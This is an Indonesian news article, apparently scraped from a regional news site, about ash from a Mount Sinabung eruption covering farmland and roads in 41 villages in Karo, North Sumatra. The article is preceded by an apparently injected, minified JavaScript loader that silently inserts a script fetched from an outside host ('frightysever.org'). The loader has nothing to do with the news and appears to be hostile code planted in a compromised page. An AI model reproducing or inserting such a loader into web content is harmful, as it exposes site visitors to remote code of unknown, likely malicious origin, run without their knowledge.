(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

NASIONAL

41 Desa Terdampak Erupsi Sinabung, Lahan Pertanian-Akses Jalan Tertutup Abu

KANALKALIMANTAN.COM – Sebanyak 41 desa di empat kecamatan di Kabupaten Karo, Sumatera Utara, terdampak erupsi Gunung Sinabung. Lahan pertanian dan akses jalan tertutup abu vulkanik.

Empat kecamatan yang terdampak erupsi, yaitu Kecamatan Tiganderket, Kutabuluh, Tigabinanga dan Kecamatan Laubaleng.

“Empat kecamatan yang tertutup abu vulkanik dari erupsi Gunung Sinabung. Total ada 41 desa yang terpapar,” kata Pelaksana tugas Kepala BPBD Karo, Natanail Peranginangin, Selasa (2/3/2021).

Abu vulkanik menutup sejumlah lahan pertanian warga dan akses jalan utama menuju ke desa.

Saat ini tengah dilakukan upaya pembersihan di jalan-jalan utama akses menuju desa dan pemukiman warga yang tertutup abu.

“Kita melakukan penyiraman di jalur-jalur utama dulu baru nanti ke pemukiman warga,” ujarnya.

Satu kecamatan yakni Kecamatan Laubaleng abu vulkanik masih terus turun. Pihaknya masih melakukan pengumpulan data jumlah desa yang tertutup abu di kecamatan tersebut.

“Untuk tebal abu yang turun itu bervariasi 3-4 centimeter. Untuk Kecamatan Laubaleng abu yang turun masih berlangsung,” ungkapnya.

Diketahui, Gunung Sinabung yang berada di Kabupaten Karo, Sumatera Utara kembali erupsi, dengan menyemburkan kolom abu setinggi 5.000 meter.

Kepala pos pemantauan Gunung Sinabung, Armen Putra mengatakan, pada erupsi hari ini Gunung Sinabung juga meluncurkan awan panas sejauh 4.500 meter ke arah tenggara dan timur.

“Erupsi terjadi pukul 07.15 WIB beramplitudo 120 mm dengan durasi 485 detik,” tukasnya(Suara)

Editor : Suara